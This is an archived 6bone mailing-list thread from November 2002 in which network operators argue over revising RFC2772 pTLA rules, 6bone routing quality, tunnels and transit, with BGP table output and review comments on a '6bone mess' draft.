world. Serious, quality-oriented IPv6 backbone operation is what we
now need to bring IPv6 forward.

Robert


From rrockell@sprint.net Wed Nov 13 13:57:14 2002
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New 2772 draft.  Take a look.   Look for "WOOP" in the body for notes.
Largely, only the pTLA requirements are re-written. Send to me with
comments, or the list.   We beyond the dealine for submission, but mayve
this can serve as good discussion points for Tuesday lunch meeting at IETF.

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
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From nicolas.deffayet@ndsoftware.net Sun Nov 17 06:58:03 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Cc: Bob Fink <fink@es.net>, 6bone@ISI.EDU
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On Sun, 2002-11-17 at 13:57, Robert Kiessling wrote:

> What matters is what actually happens, i.e. what is *likely* to cause
> problems. And here we saw several instances of unmaintained and badly
> responsive 6bone site, and sites running two-year old copies of
> depricated BGP software.

There are badly responsive sTLA too.
A lot of ISP don't maintain their sTLA because they have too many work
with their IPv4 network.

> For example, all of the LIRs I have spoken to understand the problem
> with long-distance tunnels and are getting rid of them, while at the
> same time a 6bone site proudly announced to have more than 90 tunnels.

You can have a short-distance tunnel with a lot of packet loss...

We are open for native peering, but many ISP don't want establish native
peering with us because we don't have a sTLA.
6bone can have more native peering if this ISP are more open.

> > sTLA owner can don't have IPv6 experience because it's not a
> > requierement for get a sTLA.
> 
> Entities operating RIR allocations will have BGP experience, which is
> more relevent. And they have a view and sense of real network
> topology.

Yes, but i mean _IPv6 experience_.

> > I think that your solution is not good and will kill the 6bone.
> 
> It might be more productive if you explained concretely why you think
> it's a bad idea. I don't see any indication why this would "kill
> 6bone". What do you mean by this?

Why your solution is not good:

- If you cut 6bone and RIR, 6bone will have a very bad routing (i know,
it's not a problem for you because you have a sTLA).
- Many pTLA offer a real production quality service, why limit them ?
- A pTLA can offer better service than a sTLA.
- IPv6 world must have the same routing policy, why complicate IPv6
routing ?

=> Do a clean of 6bone and be more strict on RFC2772 is better.


Your solution will kill the 6bone because the 6bone will be too limited,
and all ISP will resquest a sTLA for do their tests.

> In other words, you operate it as a hobby, while LIRs operate
> professionally. And it's not just you, it's many other 6bone sites
> too.

We don't operate our pTLA as a hobby.
We operate our pTLA professionally.
We have a 24x7 contact and we reply within 24 hours.
We provide to ours users a production quality service and we have a good
routing (we use filtering, MED,...).

A lot of sTLA don't operate their sTLA professionally.
A lot of sTLA don't have a 24x7 contact and don't reply within 24 hours.
A lot of sTLA don't have a good routing (they don't use filtering,
MED,...)


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From jeroen@unfix.org Sun Nov 17 07:57:32 2002
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To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
   "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>
Cc: "'Bob Fink'" <fink@es.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] RFC2772 rewrite -- bigger scope goals
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Nicolas DEFFAYET wrote:

Short pre-hand pre/conclusion.... RFC2772 all depends on DEFFAYET,
I mean NDSOFTWARE baffling away yet again.
I am really wondering how the other employees of his company think about
all this.
Mike CHENEY, Myriam MOREL, Bruno NASH, Chris BURTON where are you??

> On Sun, 2002-11-17 at 13:57, Robert Kiessling wrote:
> 
<SNIP>

> > For example, all of the LIRs I have spoken to understand the problem
> > with long-distance tunnels and are getting rid of them, while at the
> > same time a 6bone site proudly announced to have more than 
> 90 tunnels.
> 
> You can have a short-distance tunnel with a lot of packet loss...
> 
> We are open for native peering, but many ISP don't want 
> establish native
> peering with us because we don't have a sTLA.
> 6bone can have more native peering if this ISP are more open.

On which _real_ IX (check http://www.v6nap.net/) is "NDSOFTWARE"
present?
Maybe you can go there and people would be pleased to setup a native
peering.

> > > sTLA owner can don't have IPv6 experience because it's not a
> > > requierement for get a sTLA.
> > 
> > Entities operating RIR allocations will have BGP 
> experience, which is
> > more relevent. And they have a view and sense of real network
> > topology.
> 
> Yes, but i mean _IPv6 experience_.

You really need BGP experience to make BGP work. As for routing IPv6
is only playing with bigger addresses, nothing more.

> > > I think that your solution is not good and will kill the 6bone.
> > 
> > It might be more productive if you explained concretely why 
> you think
> > it's a bad idea. I don't see any indication why this would "kill
> > 6bone". What do you mean by this?
> 
> Why your solution is not good:
> 
> - If you cut 6bone and RIR, 6bone will have a very bad routing (i
know,
> it's not a problem for you because you have a sTLA).

They will get better routing as it will be pushed to the edges and
those "not so responsive pTLA's" as you call it (read your own words
below)
won't do any transit routing any more for most sites. All traffic will
be carried over productional links. And as productional links do have
an SLA (that's Service Level Agreement) there is money (penalties and
pay)
behind it too keep it up and working.

This is just like the situation in the current IPv4 world.
No pay/pain, no gain.

> - Many pTLA offer a real production quality service, why limit them ?

If they offer production services they should move to RIR space as 6bone
space was meant for _testing_ and _experimental_ purposes.

> - A pTLA can offer better service than a sTLA.

Now you really have to explain everybody why that is.
Or do you mean the english word "can" is a possibility like:
"I can jump over a mountain" doesn't how high the mountain is.

> - IPv6 world must have the same routing policy, why complicate IPv6
> routing ?

The same as which? As IPv4? Where people inject /30's into the DFZ?
There was another reason for making IPv6 and limiting on TLA sizes:
smaller global routing tables.
Or at least the hope of keeping it in limits so you don't have to buy
a new router with 1TB of memory.

> => Do a clean of 6bone and be more strict on RFC2772 is better.

> Your solution will kill the 6bone because the 6bone will be 
> too limited, and all ISP will resquest a sTLA for do their tests.

Real ISP's can get sTLA's, they pay for it and have a customer base and
other ISP's who they need to keep friends with otherwise they will get
cut off or loose their paying customers.

> > In other words, you operate it as a hobby, while LIRs operate
> > professionally. And it's not just you, it's many other 6bone sites
> > too.
> 
> We don't operate our pTLA as a hobby.
> We operate our pTLA professionally.
> We have a 24x7 contact and we reply within 24 hours.

Which of the one is it, or do you mean there is a contact who is alive
but actually can't be reached? You might start writing in french as that
is probably a better way to express yourself.

> We provide to ours users a production quality service and we 

And do you also act like that to the rest of the world ?
It's not a local problem mind you, not only "oh they don't pay me so I
can break it".

> have a good routing (we use filtering, MED,...).
> 
> A lot of sTLA don't operate their sTLA professionally.
> A lot of sTLA don't have a 24x7 contact and don't reply 
> within 24 hours.
> A lot of sTLA don't have a good routing (they don't use filtering,
> MED,...)

Yeah yeah you pasted that before, do you realize it stands for Multi
Exit Descriminator?
But how can you use it if you only have 1 exit or have you got your own
native IPv6 cables
between your routers?

Greets,
 Jeroen


From rico@noris.de Sun Nov 17 08:01:52 2002
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From: Rico Gloeckner <rico@noris.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On Sun, Nov 17, 2002 at 03:57:38PM +0100, Nicolas DEFFAYET wrote:
> On Sun, 2002-11-17 at 13:57, Robert Kiessling wrote:
> > Entities operating RIR allocations will have BGP experience, which is
> > more relevent. And they have a view and sense of real network
> > topology.
> 
> Yes, but i mean _IPv6 experience_.

Networks with Production-Quality will probably have more Experience,
even if it is lacking IPv6-Experience.

> Why your solution is not good:
> 
> - If you cut 6bone and RIR, 6bone will have a very bad routing (i know,
> it's not a problem for you because you have a sTLA).

Nonsense. Its about keeping 6bone Sites off the DFZ to reduce Bad
Effects within the DFZ.

> - A pTLA can offer better service than a sTLA.

Oh? Can i have an Explanation for that?

> - IPv6 world must have the same routing policy, why complicate IPv6
> routing ?
> 
> => Do a clean of 6bone and be more strict on RFC2772 is better.

Well, IMHO it would be good to:
 - put sTLAs in the DFZ and let them provide Production Quality
 - put pTLAs outside the DFZ and let them provide a TestingBed
   so they can actually /test/ without harming the DFZ.

> Your solution will kill the 6bone because the 6bone will be too limited,
> and all ISP will resquest a sTLA for do their tests.

No. It will bring any Space to its Purpose, see above.

For any EndCustomer it gets less and less difficult to receive
RIR-Space. 

> We don't operate our pTLA as a hobby.
> We operate our pTLA professionally.
> We have a 24x7 contact and we reply within 24 hours.
> We provide to ours users a production quality service and we have a good
> routing (we use filtering, MED,...).
> 
> A lot of sTLA don't operate their sTLA professionally.
> A lot of sTLA don't have a 24x7 contact and don't reply within 24 hours.
> A lot of sTLA don't have a good routing (they don't use filtering,
> MED,...)


It doesnt effect Facts if you keep repeating yourself. I'd personally
consider it a rather... childish Behaviour.


	-rg


From Robert.Kiessling@de.easynet.net Sun Nov 17 08:30:38 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> writes:

> Why your solution is not good:
> 
> - If you cut 6bone and RIR, 6bone will have a very bad routing (i know,
> it's not a problem for you because you have a sTLA).

You are not seriously suggesting that current 6bone routing is
anywhere near optimal, are you?

> - Many pTLA offer a real production quality service, why limit them ?

They can continue to offer their service, and most of them can get RIR
space.

Please refer to my original email to see some of the problems which
are tackled by this proposal.

> - A pTLA can offer better service than a sTLA.

I don't argue on the base of "can", whatever you mean by this. I argue
on the base of facts such as past incidents and the reluctance of ISPs
to offer IPv6 access to existing IPv4 services, caused by bad IPv6
network performance.

> - IPv6 world must have the same routing policy, why complicate IPv6
> routing ?

And all people must be equal.

> Your solution will kill the 6bone because the 6bone will be too limited,
> and all ISP will resquest a sTLA for do their tests.

So be it. What's bad about it?
As Bob said, 6bone is for the people who cannot get RIR space.

Robert


From berni@birkenwald.de Sun Nov 17 08:54:43 2002
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From: Bernhard Schmidt <berni@birkenwald.de>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On Sun, Nov 17, 2002 at 03:57:38PM +0100, Nicolas DEFFAYET wrote:

> We are open for native peering, but many ISP don't want establish native
> peering with us because we don't have a sTLA.

_Where_ are you open for native peerings, and _where_ do ISPs not want
to establish native peerings just because you only have a pTLA? Let me 
guess, at FNIX6 with the only member being you (one colocated switch in
a housing-center, right?)? I would rather blow all my computers to hell
than paying colocation fees and a suitable backbone pipe to a
housing-center just to be at a wanna-be exchange point. There are enough
IPv6 exchange points all over the world right now (oh sorry, I forgot,
most have an IPv4 network too so they are no IPv6 exchange points at all).

Or wait, you're talking about native peering in general, not about
native peering at exchange points. So, could you provide an interface
for a T3 or STM-1 at your "routers" to do native IPv6 peering on the
line?

Get real, kid. Most people don't care about you having a sTLA or a pTLA,
they care about you being Nicolas DEFFAYET and the way you got your pTLA
and your ASN.

-- 
   bye bye
     Bernhard

From nicolas.deffayet@ndsoftware.net Sun Nov 17 09:18:29 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
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On Sun, 2002-11-17 at 17:30, Robert Kiessling wrote:

> I don't argue on the base of "can", whatever you mean by this. I argue
> on the base of facts such as past incidents and the reluctance of ISPs
> to offer IPv6 access to existing IPv4 services, caused by bad IPv6
> network performance.

You can have good performances and guarantee the transit only when the
most part of IPv6 Internet will be native.

I'm sorry, but cut 6bone and RIR is not the good solution.

The solution for have a better IPv6 network is have only native peering.

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From nicolas.deffayet@ndsoftware.net Sun Nov 17 09:53:31 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On Sun, 2002-11-17 at 17:54, Bernhard Schmidt wrote:

> Or wait, you're talking about native peering in general, not about
> native peering at exchange points. So, could you provide an interface
> for a T3 or STM-1 at your "routers" to do native IPv6 peering on the
> line?

Currently we peer only on FastEthernet.

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From berni@birkenwald.de Sun Nov 17 10:04:45 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On Sun, Nov 17, 2002 at 06:53:26PM +0100, Nicolas DEFFAYET wrote:

> Currently we peer only on FastEthernet.

at FNIX6 with yourself?

-- 
   bye bye
     Bernhard

From nicolas.deffayet@ndsoftware.net Sun Nov 17 10:13:26 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Bernhard Schmidt <berni@birkenwald.de>
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On Sun, 2002-11-17 at 19:04, Bernhard Schmidt wrote:
> On Sun, Nov 17, 2002 at 06:53:26PM +0100, Nicolas DEFFAYET wrote:
> 
> > Currently we peer only on FastEthernet.
> 
> at FNIX6 with yourself?

mv troll /dev/null

Thanks

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From berni@birkenwald.de Sun Nov 17 10:20:41 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On Sun, Nov 17, 2002 at 07:13:22PM +0100, Nicolas DEFFAYET wrote:

> > > Currently we peer only on FastEthernet.
> > at FNIX6 with yourself?
> mv troll /dev/null

That was a very simple question above, please just answer "yes" or "no".

BTW: "mv: troll: No such file or directory". Must be something available
on your side only :-)

EOD from my side, it's more than useless. You won't get the point in the
next decades.

-- 
   bye bye
     Bernhard

From nicolas.deffayet@ndsoftware.net Sun Nov 17 11:08:49 2002
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Subject: RE: [6bone] RFC2772 rewrite -- bigger scope goals
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
   "'Bob Fink'" <fink@es.net>, 6bone@ISI.EDU
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On Sun, 2002-11-17 at 16:57, Jeroen Massar wrote:
> 
> On which _real_ IX (check http://www.v6nap.net/) is "NDSOFTWARE"
> present?
> Maybe you can go there and people would be pleased to setup a native
> peering.

mv troll /dev/null


I have sent an email (09 Oct 2002 00:50:52 +0200) to Marc Blanchet for
update the list of http://www.v6nap.net, but i don't get news. The list
is not updated, there is a lot of other IX who have an IPv6 support... 


> > - Many pTLA offer a real production quality service, why limit them ?
> 
> If they offer production services they should move to RIR space as 6bone
> space was meant for _testing_ and _experimental_ purposes.

production quality service != production service

> > - IPv6 world must have the same routing policy, why complicate IPv6
> > routing ?
> 
> The same as which? As IPv4? Where people inject /30's into the DFZ?
> There was another reason for making IPv6 and limiting on TLA sizes:
> smaller global routing tables.
> Or at least the hope of keeping it in limits so you don't have to buy
> a new router with 1TB of memory.

I mean: pTLA and sTLA (IPv6 world) must have the same routing policy.

I don't talk about IPv4.

> > have a good routing (we use filtering, MED,...).
> > 
> > A lot of sTLA don't operate their sTLA professionally.
> > A lot of sTLA don't have a 24x7 contact and don't reply 
> > within 24 hours.
> > A lot of sTLA don't have a good routing (they don't use filtering,
> > MED,...)
> 
> Yeah yeah you pasted that before, do you realize it stands for Multi
> Exit Descriminator?
> But how can you use it if you only have 1 exit or have you got your own
> native IPv6 cables
> between your routers?

Learn how BGP work.
If you have many peers, you have many exit.



   Network          Next Hop            Metric LocPrf Weight Path
*  2001:200::/35    3ffe:8270:0:1::30
                                           500             0 20834 513
3425 2500 i
*                   3ffe:4013:f:2a::2
                                           502             0 3292 109
4554 2500 i
*                   2001:768:e:9::1        510             0 8379 3561
5511 2500 i
*                   3ffe:4013:f:d::2
                                           540             0 17715 4725
2500 i
*                   3ffe:4013:f:31::2
                                           520             0 12731 5539
4554 2500 i
*                   3ffe:4013:f:28::2
                                           520             0 20794 6830
4554 2500 i
*                   2001:7b0:1ff::c        520             0 15671 8627
790 3549 2500 i
*                   3ffe:4005:0:1::2e
                                           500             0 24765 1752
5511 2500 i
*                   2001:7a8:1:f004::1
                                           500             0 13193 3549
2500 i
*>                  2001:7f8:2:c01d::2
                                           500             0 1752 5511
2500 i
*                   3ffe:2200:0:8012::1
                                           520             0 2607 6939
2516 2500 i
*                   3ffe:4013:f:a::2
                                           520             0 15589 6939
2497 2500 i
*                   3ffe:8340::1:6         510             0 13129 1752
5511 2500 i
*                   3ffe:4013:f:29::2
                                           500             0 8921 13193
3549 2500 i
*                   3ffe:4013:f:b::2
                                           530             0 9112 4554
2500 i
*                   3ffe:400c:feed::2
                                           530             0 13110 4554
2500 i
*                   3ffe:4013:f:27::2
                                           520             0 8472 6830
4554 2500 i


BGP choose the route(s) with shorter ASpath and lower MED.

   Network          Next Hop            Metric LocPrf Weight Path
*                   2001:7a8:1:f004::1
                                           500             0 13193 3549
2500 i
*>                  2001:7f8:2:c01d::2
                                           500             0 1752 5511
2500 i

If there is many routes with the same ASpath size, BGP choose the route
will the lower ASN.

   Network          Next Hop            Metric LocPrf Weight Path
*>                  2001:7f8:2:c01d::2
                                           500             0 1752 5511
2500 i


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From tjc@ecs.soton.ac.uk Sun Nov 17 11:54:20 2002
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On Sun, Nov 17, 2002 at 06:18:22PM +0100, Nicolas DEFFAYET wrote:
> On Sun, 2002-11-17 at 17:30, Robert Kiessling wrote:
> 
> > I don't argue on the base of "can", whatever you mean by this. I argue
> > on the base of facts such as past incidents and the reluctance of ISPs
> > to offer IPv6 access to existing IPv4 services, caused by bad IPv6
> > network performance.
> 
> You can have good performances and guarantee the transit only when the
> most part of IPv6 Internet will be native.
> 
> I'm sorry, but cut 6bone and RIR is not the good solution.
> 
> The solution for have a better IPv6 network is have only native peering.

I don't think nativeness is the key issue (it is nice though).  The key
issue is open (and bad) transit... see Pekka's 6bone-mess draft.

Tim

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> Comments, please.
> 
> (Anyone with more than 5 peers with transit should feel the sting of guilt
> now. :-)

Some comments on -01.txt.  I think the dcoument as is makes the point well.
All we need are some agreed answers :)  I notice for example that from the
IETF here my IPv6 RTT to home (UK) is 400ms, as opposed to 100ms via IPv4.  

(This is not a US-Europe thing per se as the Abilene-Europe link has near
identical RTT due to use of dual-stack links following a very similar path,
and no "errant" tunnels)

- Comments:

   Currently, IPv6 Internet is, globally considered, inseparable from
   the 6bone network.  The 6bone has been built as a tighly meshed
   tunneled topology.  As the number of participants has grown, it has
   become an untangible mess, hindering the real deployment of IPv6 due
   to low quality of connections.  This memo discusses the nature and

- The key problem is that many users wish to use IPv6 for daily, production
- use, and this is not possible due to the way 6bone prefixes are advertised
- and transit is too often given.

- We should also point out now that SubTLAs are easier to get in the 2001:
- space, we risk the 6boneisation of the so-called "production" IPv6 space.

- We could also argue that there is less genuine demand for 6bone pTLAs; indeed
- new SubTLA owners no longer require 6bone experience as a precondition for 
- that allocation(?)

1. Introduction

   Currently, IPv6 Internet is, globally considered, inseparable from
   the 6bone network.  The 6bone has been built as a tighly meshed
   tunneled topology.  As the number of participants has grown, it has
   become an untangible mess, hindering the real deployment of IPv6 due
   to low quality of connections.

- I think "low quality" doesn't perhaps state the problem strongly enough.
- perhaps mention the lack of stability and predictablity, hampering the use
- of IPv6 by *any* users, whether on a 6bone or production prefix site, on
- a day-to-day basis.

   This memo tries to outline some ways to gain better connectivity for
   the future IPv6 Internet.  This can be done by increasing the quality
   of 6bone (in some applicable parts) and moving the 6bone network to

- Indeed applying the principles that make the current IPv4 Internet usable
- on a day-to-day basis.

   It should be noted that as addressing and routing are quite
   independent, the same problems also exist, in addition to 6bone-
   allocated pTLA's, with RIR-allocated "sTLA" addresses too.  It can
   often be assumed, though, that those organizations are at least
   slightly more knowledgeable and serious than an average pTLA holder,
   due to the process it takes to get an sTLA if you're not an
   equivalent of Local Internet Registry (LIR).  Nevertheless, these are
   considered as one category.

- Yes, the slacker SubTLA rules now make this a concern.

   This is the root cause why 6bone network is a mess: as there is no
   hierarchy, most sites try to gain good connectivity by creating
   tighter mesh to other pTLA/sTLA's: increase the number of virtual
   peers by creating tunnels.

- And in many cases these tunnels are not optimal, instead often spanning
- a large number of IPv4 hops, with some pTLA owners collecting peerings as
- if they were "trophies".  You might expect a typical pTLA to have 5-10
- peerings, in many cases pTLAs have many times this, coupled with lack of
- controls on transit.

   Using IPv6-in-IPv4 tunneling is also not so bad in itself, if used
   properly; for example, tunneling over resilient IPv4 connectivity
   within one AS could be seen as highly advantageous to using
   dedicatede circuits for IPv6 under some circumstances.  However, the
   problem is that tunneling hides the natural, underlying topology: a
   link may actually consist of many hops, going through many different
   administrative and technical entities.  As such, it becomes very
   difficult to debug and notice the real problems when using "long"
   tunnels.  Tunneling can also be used to gain connectivity in the
   absence of native IPv6; as long as one does not provide transit
   through such "long tunnels", you can only shoot yourself in the foot.

- Indeed, it is the transit that causes the problem.

   Full transit, especially in conjunction with points above is the
   worst problem: there are no longer useful metrics to choose best
   paths (as AS-path length, the most imporant global metric in BGP path
   selection, becomes next to useless), and the network topology gets
   extremely complicated and unstable.  Some metric can naturally be
   assigned locally, with usually significant effort, but these are
   indeed often only locally useful.

- Witness the resulting mess of paths that cross the atlantic two or even four
- times between sites on the same continent.

4. Coping with the Administrative Problems

   Some of the problems are more of an administrative nature.  It is
   clearly visible that under current pTLA assignment policy
   [6BROUTING], there are many organizations which are not significant-
   enough ISP's, transits or such but are still getting pTLA's.  This is
   a double-edged sword: in the absence of IPv6 support by their
   upstreams, it could be argued it's good that at least someone will do
   something about IPv6 (note, extending this argument, they should also
   provide the same services as their ISP would -- ie. not only reap the
   benefits but also take up the responsibilities); on the other hand,
   these organizations usually have neither skills, equipment nor
   customers to understand the operational aspects of being part of a
   world-wide network, and are the ones worst burdening the 6bone.

- I think the number of providers is now growing in most regions to the extent
- that this is not the case in the same way as it was 2-3 years ago.

   Therefore, as one step, the requirements for a pTLA should be made
   stricter by revising [6BROUTING]; the revised edition should also
   take more stance on what kind of organization would be eligible for
   an allocation (a difficult thing to define precisely, to be sure).

- Agreed 100%, and this is now happening as a result of a recent pTLA case.

   Another thing to consider would be whether pTLA allocations could be
   revoked from "irresponsible" operators (even more difficult thing to
   define as before), possibly as a consequence to not conforming to
   possible new guidelines for pTLA's.  This might eliminate some
   specific problematic operators, but it might be that then the focus
   would just shift to the others; in general, removing existing
   allocations is a very harsh measure and it is unprobable that it
   could be done except for special reasons.

- There should be some way for pTLAs to be reviewed or revoked.  But in theory
- filters could also be applied - someone has to offer connectivity for the
- "rogues" to be a problem; the "blockade" method you describe below is also
- interesting for this.

5. Coping with the Connectivity Problems

   There are a few main approaches to the connectivity problems
   described above:

      1. Wait until a significant number of transit providers support
         IPv6 and only try to get anything stable then

- I think the path being pursued by the research networks (academic) is to
- look at policies, inparticular through use of community tagging, to establish
- a stable intrastructure between those networks (in Europe, the US and beyond).
- That stability is a prerequisite to using IPv6 applications (e.g. international
- conferencing) with confidence that the applications will run as desired.

   Also, this leads to waiting.  As it is, IPv6 connections around the
   world are, generally speaking, very poor.  It is irresponsible to
   turn on IPv6 by default on e.g. operating systems, as that would only
   lead to a lower quality for the user: for example, if a website is
   IPv4/6 dual-stack, trying to use IPv6 by default is often much
   slower, and should be avoided until the network is in a reasonably
   good shape.

- Well, it's deeper than that, if people go dual stack on web servers, and
- advertise AAAA's, and the browsers (as is I think universally the default)
- try AAAA's before A's, there will be delays for users where the IPv6
- connectivity is broken.   As you say, turning on IPv6 on the "clients" is
- currently a "brave" step for site administrators, and only likely to cause
- pain.

5.2. Adjust BGP Path Selection or Route Visibility

   Some might even suggest BGP specification modifications (e.g. taking
   a lower layer end-to-end latency into account), but those are
   definitely considered out of scope: only operational measures are
   discussed.

- Some level of network monitoring can give clues to at least perhaps tune
- general BGP/filter policies.   Indeed most 6bone-related problems are only
- spotted by user traceroutes in practice right now.

   MED is next to useless in itself: with "always-compare-med" -like
   option, it can be used to influence the path from between two routes
   of equally long AS-path -- but the path length was deemed a next-to-
   useless metric in 6bone, so this might only help if AS-paths are very
   short, e.g. 1 or 2 AS's.

- I suppose that the IPv6 BGP would like to know the number of hops in the
- underlying IPv4 tunnel, if a plain hop metric is being used, as a 2-hop
- AS path may indeed pass through many more IPv4 AS's due to tunnels.

5.2.1. Example of Route Visibility Control

   In addition to the implemented example of 6NET communities, see
   below, one could sketch additional ones, like often used in IPv4.
   Some possibilities are show below.

- 6NET is introduced rather suddenly here?

   (Note that there are several vendor-specific problems with no-export
   communities, see Appendix A for more information.)  There are many
   possibilities; these are indeed just examples.  It is not the purpose
   of this memo to try to standardize (requiring IANA action) "well-
   known" communities; but either to give ideas what could be
   implemented in a non-global scope, e.g. regionally or locally, or
   come up with simple "if you don't know what to do, you can do this"
   -rules.

- Well, common meaning of the values would be nice, to be able to look at
- other policies and understand them more readily.   But I think that is as
- "standardised" as much as DSCP 8 is standardised for Scavenger/LBE.

   It should also be noted that this kind of fine-grained policing could
   prove to be very useful in traditional 6bone routing context -- but
   that is what we try to escape: simplicity is very rarely gained by
   adding more complexity.

- True.

6.1. Guidelines for End-sites

   End-sites, usually obtaining a /48 assignment, do not really need to
   do much, as their possibilities in affecting 6bone routing are, by
   design, limited (common prefix filters do not allow them to advertise
   their specific routes).

- Assuming those filters are in place!   Many sites use 6bone and SubTLA
- space combined to try out multihoming, which is one reason why "Old" pTLAs
- don't get handed back.

   The most important things for the end-sites are to:

      1. Ask their local ISP(s), both marketing and technical people,
         for IPv6 if they do not yet provide service: ISP(s) will not
         usually react unless there is an observed demand, and this will
         help in making production networks closer to reality.

- NOte that tunnel brokers and 6to4 can reduce this demand, as users and sites
- can connect and not knock on their admin or upstream ISP door, so long as 
- Protocol 41 is allowed.

      3. Due to designed restrictions regarding advertising more
         specific routes, usually obtaining two connections doesn't
         really help much and may cause problems if the ISP(s) implement
         ingress filtering.  It's better to just use one for simplicity
         unless there are special reasons to do otherwise.

- Multihoming experiments?

   Therefore the benefit (for the whole Internet) of having such an
   organization establish peering relations with others all over the
   world, just for itself and the customers, is small.

   These kinds of organizations must seek transit providers to create
   hierarchy: when there is enough hierarchy, the branch can be
   considered globally significant.  The most natural action would be to
   find these from the IPv4 upstreams, but that may not always be
   possible.  If not, as above, it's always good to try to underline
   that IPv6 transit service is something that's needed.  There are some
   organizations in the community which are often willing to perform
   transit free of charge, though, too.

- Agreed 100% - this single recommendation is perhaps key.

      2. Disbanding especially "long tunnels", in particular if these
         include providing transit.  If they cannot be removed, some
         extra measures like AS-path prepending (outlined in sections
         above) should be implemented.

- Some spring to mind, but best left unnamed here :)

6.3. Guidelines for Transit sTLA/pTLA's

   "Real" transit-providing organizations should consider whether they
   could provide limited transit to other organizations too, at least
   initially.  For example, research organizations could be able to
   provide research-to-commercial and commercial-to-research transit for
   others too, but fully commercial might be unacceptable due to higher-
   level policies.

- Yes, this may be a bit of a mire.  But it is very hard for anyone to offer
- commercial IPv6 services with the current 6bone-ness situation.

   To re-iterate, especially when providing transit for others, care
   must be observed so that it is done in a controlled fashion.  Transit
   networks are in the key position when applying and forcing proper
   policies on 6bone: working together, they might be able for force
   some of the more "irresponsible" pTLA/sTA's to act in a more sensible
   manner: together they might have much more power in the arm-wrestling
   match against the 6bone routing mess.

- The second key recommendation, I think.

   The scheme can be extended to other networks too: to add proper
   certain communities and preferences to routes learned through other
   networks (like commercial transits, other research networks, etc.)
   and that way the benefits of good, native connections can be more
   widely realized.  Perhaps then commercial pTLA's/sTLA's would need a
   lot smaller number of tunnels and transit services (at least to
   research organizations).

- This is happening at the moment, bringing in other academic/research networks
- such as Abilene.

   Something similar could be done in other networks too.  The key is to
   build something that prefers local (hopefully native, but short
   tunnels are also okay) connections and disallows any uncontrolled
   transit.

- Key recommendation #3 :)

   So, the role should change from addressing and routing to only (or
   mainly) addressing.

   A good question is where these stub/non-transiting sites/pTLA's would
   get transit from -- who would offer them that.  There must be
   solution for this if this path is to be adopted.

   One solution would be getting that from one of their ISP's (or their
   ISPs' upstreams), or secondarily, from some willing third parties.
   In some cases this may not be possible though.

   Ideas for the ways to proceed would be appreciated.

- I think that sites that already have IPv4 transit need to look for IPv6 transit
- from the same supplier.  This is easier in the research network case, where
- for example in 6NET the universities go to their NRENs, who in turn will look
- to 6NET (or GEANT) for transit, or who will have existing peering agreements
- with international links (e.g. to the USA).  I don't see that IPv6 would demand
- any different structure to the connectivity - do we really foresee that new 
- carriers will emerge for IPv6 traffic, or that (much more likely) existing
- carriers will offer (dual-stack) IPv6?




tim

From RJorgensen@upctechnology.com Sun Nov 17 13:00:20 2002
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From: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
   Jeroen Massar
	 <jeroen@unfix.org>
Cc: "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
   "'Bob Fink'"
	 <fink@es.net>, 6bone@ISI.EDU
Subject: RE: [6bone] RFC2772 rewrite -- bigger scope goals
Date: Sun, 17 Nov 2002 21:51:25 +0100
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(someone might be offended by I'm sick of this threat now...)


> On Sun, 2002-11-17 at 16:57, Jeroen Massar wrote:
> > 
> > On which _real_ IX (check http://www.v6nap.net/) is "NDSOFTWARE"
> > present?
> > Maybe you can go there and people would be pleased to setup a native
> > peering.
> 
> mv troll /dev/null

IF this is how you handle critic I suggest you really stop mailing
now.I'm getting sick of your very unproductive respons to everything.


You have shown MANY times that you do not have any clue about
how REAL network work, REAL as in real routing hardware and real
links, NOT tunnels and a few BSD/linux boxes with zebra or whatever 
you use.


Please stop this now. And let's ALL move back to RFC 2772 discussion.


 
> I have sent an email (09 Oct 2002 00:50:52 +0200) to Marc Blanchet for
> update the list of http://www.v6nap.net, but i don't get 
> news. The list
> is not updated, there is a lot of other IX who have an IPv6 
> support... 
> 
> 
> > > - Many pTLA offer a real production quality service, why 
> limit them ?
> > 
> > If they offer production services they should move to RIR 
> space as 6bone
> > space was meant for _testing_ and _experimental_ purposes.
> 
